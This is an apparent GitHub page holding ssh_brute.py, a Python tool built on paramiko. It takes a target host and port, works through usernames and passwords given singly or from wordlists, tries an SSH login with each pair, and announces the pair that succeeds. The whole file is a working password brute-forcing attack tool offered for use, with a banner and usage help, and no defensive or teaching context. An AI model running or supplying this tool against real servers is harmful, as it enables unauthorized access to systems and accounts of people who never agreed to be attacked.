-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathssh_brute.py
103 lines (78 loc) · 3.31 KB
/
ssh_brute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from colorama import Fore
import paramiko
import argparse
import os
def banner():
print(f"""{Fore.WHITE}
The SSH bruteforcing tool
{Fore.BLUE}
░█▀▀░█▀▀░█░█░░░█▀▄░█▀▄░█░█░▀█▀░█▀▀░█▀▀░█▀█░█▀▄░█▀▀░█▀▀
░▀▀█░▀▀█░█▀█░░░█▀▄░█▀▄░█░█░░█░░█▀▀░█▀▀░█░█░█▀▄░█░░░█▀▀
░▀▀▀░▀▀▀░▀░▀░░░▀▀░░▀░▀░▀▀▀░░▀░░▀▀▀░▀░░░▀▀▀░▀░▀░▀▀▀░▀▀▀
{Fore.WHITE}
""")
def clear():
if os.name=="nt":
os.system("cls")
else:
os.system("clear")
def brute(args,username, password):
ssh=paramiko.SSHClient()
#load ssh host keys
ssh.load_system_host_keys()
#add ssh host key automattically for if need
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
#connect to target
ssh.connect(args.target,args.port,username,password, timeout=50)
session=ssh.get_transport().open_session()
if session.active:
clear()
banner()
print(f'{Fore.BLUE}The{Fore.YELLOW} {username} {Fore.BLUE}and {Fore.YELLOW}{password}{Fore.BLUE} is correct...')
ssh.close()
exit()
else:
print(f'{Fore.RED}The {username} and {password} is not correct...')
except paramiko.AuthenticationException:
print(f'{Fore.RED}{username} and {password} is not correct')
return False
except paramiko.SSHException as e:
print(f'{Fore.RED}SSH error: {e}')
return False
except Exception as e:
print(f'{Fore.RED}Error: {e}')
return False
finally:
ssh.close()
if __name__== '__main__':
banner()
print("""#Help of the command
1. sshbrute.py -t [ip] -p [port] -u [username] or -U [username-wordlist] -l [password] or -P [password-wordlist]
""")
parser = argparse.ArgumentParser(description="SSH brute forceing Tool")
parser.add_argument("-t","--target", required=True,help= "Enter the target ip or name")
parser.add_argument("-p","--port", type=int,default=22,help="Port number")
parser.add_argument("-u","--username", help = "Enter the username")
parser.add_argument("-U","--Username", help="Enter the username wordlist")
parser.add_argument("-l","--password",help="Enter the password")
parser.add_argument("-P","--Password", help="Enter the password wordlist path")
args = parser.parse_args()
if args.username:
usernames=[args.username]
elif args.Username:
with open(args.Username,"r") as f:
usernames=[line.strip() for line in f]
else:
print(f"{Fore.RED} The username or wordlist not correct")
if args.password:
passwords=[args.password]
elif args.Password:
with open(args.Password,"r") as f:
passwords=[line.strip() for line in f]
else:
print(f"{Fore.RED} The Password or wordlist not correct")
for i in usernames:
for j in passwords:
print(f"{Fore.BLUE}Bruteforcing {i} and {j} ....")
brute(args,i,j)